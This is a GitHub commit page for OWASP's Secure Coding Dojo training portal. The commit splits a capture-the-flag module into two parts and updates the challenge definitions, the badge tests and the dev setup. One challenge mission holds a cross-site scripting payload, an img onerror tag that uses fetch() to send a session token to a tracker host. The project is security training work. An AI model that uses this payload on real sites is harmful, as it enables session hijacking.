Skip to content

Commit

Permalink
Merge pull request #163 from OWASP/split-second-degree
Browse files Browse the repository at this point in the history
Split second degree
  • Loading branch information
paul-ion authored Dec 22, 2024
2 parents d342a4b + fdfca3f commit a46636c
Show file tree
Hide file tree
Showing 16 changed files with 105 additions and 97 deletions.
7 changes: 4 additions & 3 deletions trainingportal/auth.js
Original file line number Diff line number Diff line change
Expand Up @@ -281,10 +281,11 @@ let processAuthCallback = async(profileId, givenName, familyName, email, cb) =>
user.email = email;
let modules = challenges.getModules();
for(let moduleId in modules){
let promise = challenges.verifyModuleCompletion(user, moduleId);
promise.catch((err) => {
try {
await challenges.verifyModuleCompletion(user, moduleId);
} catch (error) {
util.log("Error with badge verification.", user);
});
}
}
}
else{
Expand Down
2 changes: 1 addition & 1 deletion trainingportal/static/challenges.html
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,7 @@ <h4>Play Link and Instructions</h4>
<br/><br/>
</span>
<p ng-if="!challenge.playLink">
The play link has been provided to you when solving the previous challenge.
The play link has been provided to you when solving the previous module or challenge.
If you have missed it read the challenge description carefully and try to figure out what it is.
</p>
<span ng-if="!challenge.passed">
Expand Down
9 changes: 0 additions & 9 deletions trainingportal/static/lessons/blackBelt/definitions.json
Original file line number Diff line number Diff line change
Expand Up @@ -129,15 +129,6 @@
"solution":"cwe134.sol.md",
"codeBlockIds":["safeMemoryManagement","inputAllowListing"]
},
{
"id":"cwe502",
"name":"Deserialization of Untrusted Data",
"playLink":"/cwe502.jsp",
"description": "cwe502.html",
"attackGram":"deserialization.png",
"solution":"cwe502.sol.md",
"codeBlockIds":["enforceSafeDeserialization"]
},
{
"id":"quiz",
"name":"Quiz",
Expand Down
20 changes: 16 additions & 4 deletions trainingportal/static/lessons/modules.json
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@
"name":"Black Belt",
"summary":"Common software security flaws - part 2",
"description":"Lessons are entry level difficulty aimed at introducing the concepts of vulnerability, exploit and software defense.",
"description2":"Includes 14 lessons. Estimated duration 2 hours.",
"description2":"Includes 13 lessons. Estimated duration 2 hours.",
"badgeInfo":{
"line1":"Secure Coding",
"line2":"Black Belt",
Expand All @@ -39,18 +39,30 @@
},
"requiredModules":["greenBelt"]
},
"secondDegreeBlackBelt":{
"name":"Second Degree Black Belt",
"secondDegreeBlackBelt1":{
"name":"Second Degree Black Belt - Part 1",
"summary":"Cloud software exploitation techniques",
"description":"Have some fun with this Capture the Flag module which is based on OWASP Top 10. Your goal is to take down the cloud applications used in a worldwide malware campaign.",
"badgeInfo":{
"line1":"Secure Coding",
"line2":"2nd Degree",
"line3":"Black Belt",
"bg":"darkred"
"bg":"red"
},
"requiredModules":["blackBelt"]
},
"secondDegreeBlackBelt2":{
"name":"Second Degree Black Belt - Part 2",
"summary":"Cloud software exploitation techniques",
"description":"Have some fun with this Capture the Flag module which is based on OWASP Top 10. Your goal is to take down the cloud applications used in a worldwide malware campaign.",
"badgeInfo":{
"line1":"Secure Coding",
"line2":"2nd Degree",
"line3":"Black Belt",
"bg":"darkred"
},
"requiredModules":["secondDegreeBlackBelt1"]
},
"redTeam":{
"name":"Red Team",
"summary":"Pen-testing tools and techniques",
Expand Down

This file was deleted.

Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
[
{
"level":0,
"name":"Second Degree Black Belt - Part 1",
"challenges":[
{
"id":"owasp2017misconfig",
"name":"Security Misconfiguration",
"playLink":"",
"description": "owasp2017misconfig.html",
"codeBlockIds":["enforceSafeConfig"],
"mission": "Find the secret file."
},
{
"id":"owasp2017sensitive",
"name":"Sensitive Data Exposure",
"description": "owasp2017sensitive.html",
"attackGram":"missingenc.png",
"codeBlockIds":["useStrongDataEncryption"],
"mission": "Login as the test user."
},
{
"id":"owasp2017brokenauth",
"name":"Broken Authentication & Broken Access Control",
"description": "owasp2017brokenauth.html",
"attackGram":"missingauthz.png",
"codeBlockIds":["loginBestPractices","principleOfLeastPrivilege","serverSideValidation"],
"mission": "View the chat messages."
},
{
"id":"owasp2017xss",
"name":"Cross-Site Scripting",
"description": "owasp2017xss.html",
"attackGram":"xss.png",
"codeBlockIds":["neutralizeOutput","inputAllowListing","requestForgeryPrevention"],
"mission":"Alter the html code of the page by inserting the following tag: <img src=bla onerror=\"fetch('https://xss.tracker?token='+sessionStorage.token)\">"
}
]
}
]
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
[
{
"level":0,
"name":"Second Degree Black Belt - Part 2",
"challenges":[
{
"id":"owasp2017injection",
"name":"Injection",
"description": "owasp2017injection.html",
"attackGram":"commandinjection.png",
"codeBlockIds":["parameterizedCommands","inputAllowListing","principleOfLeastPrivilege"],
"mission":"Output the contents of the secret file on internal host 1."
},
{
"id":"owasp2017xxe",
"name":"XML External Entities",
"description": "owasp2017xxe.html",
"attackGram":"xxe.png",
"codeBlockIds":["disableXmlExternalEntities","principleOfLeastPrivilege"],
"mission": "Login into the web application hosted on internal host 2."
},
{
"id":"owasp2017deserialization",
"name":"Using Components with Known Vulnerabilities & Insecure Deserialization",
"description": "owasp2017deserialization.html",
"attackGram":"deserialization.png",
"codeBlockIds":["enforceSafeDeserialization","keep3rdPartyUpToDate"],
"mission": "Submit a STOP command object."
}
]
}
]
11 changes: 8 additions & 3 deletions trainingportal/test/challenge.test.js
Original file line number Diff line number Diff line change
Expand Up @@ -108,13 +108,18 @@ describe('challengeTests', () => {

test('should issue a badge', async () => {

let result = await challenges.verifyModuleCompletion(user, "secondDegreeBlackBelt");
let result = await challenges.verifyModuleCompletion(user, "secondDegreeBlackBelt1");
assert.equal(result,true,"Should have completed the module");

result = await challenges.verifyModuleCompletion(user, "secondDegreeBlackBelt2");
assert.equal(result,true,"Should have completed the module");

let promise = db.fetchBadges(user.id);
let badges = await promise;
assert.notEqual(null, badges, "badges should NOT be null");
assert.equal(badges.length, 1, "Incorrect number of badges");
assert.equal(badges[0].moduleId, "secondDegreeBlackBelt", "Wrong badge module");
assert.equal(badges.length, 2, "Incorrect number of badges");
assert.equal(badges[0].moduleId, "secondDegreeBlackBelt1", "Wrong badge module");
assert.equal(badges[1].moduleId, "secondDegreeBlackBelt2", "Wrong badge module");
//cleanup
return promise;
});
Expand Down
7 changes: 4 additions & 3 deletions trainingportal/tools/devSetup.js
Original file line number Diff line number Diff line change
Expand Up @@ -17,10 +17,11 @@ async function setup(){
await db.getPromise(db.insertUser, dojoUserInfo);
auth.createUpdateUserInternal("dojouser", dojoUserInfo, "SecureCodingDojo");

util.log("Unlocking all challenges for 'dojouser'");
util.log("Unlocking challenges for 'dojouser'");
let user = await db.getPromise(db.getUser,"Local_dojouser");
await challengeUtil.passChallenges("securityCodeReviewMaster",user,["codereview101_indirectReferences"]);
await challengeUtil.passChallenges("blackBelt",user,["cwe502"]);
await challengeUtil.passChallenges("securityCodeReviewMaster",user,[]);
await challengeUtil.passChallenges("greenBelt",user,[]);
await challengeUtil.passChallenges("blackBelt",user,["cwe134"]);

} catch (error) {
console.error(error);
Expand Down

0 comments on commit a46636c

Please sign in to comment.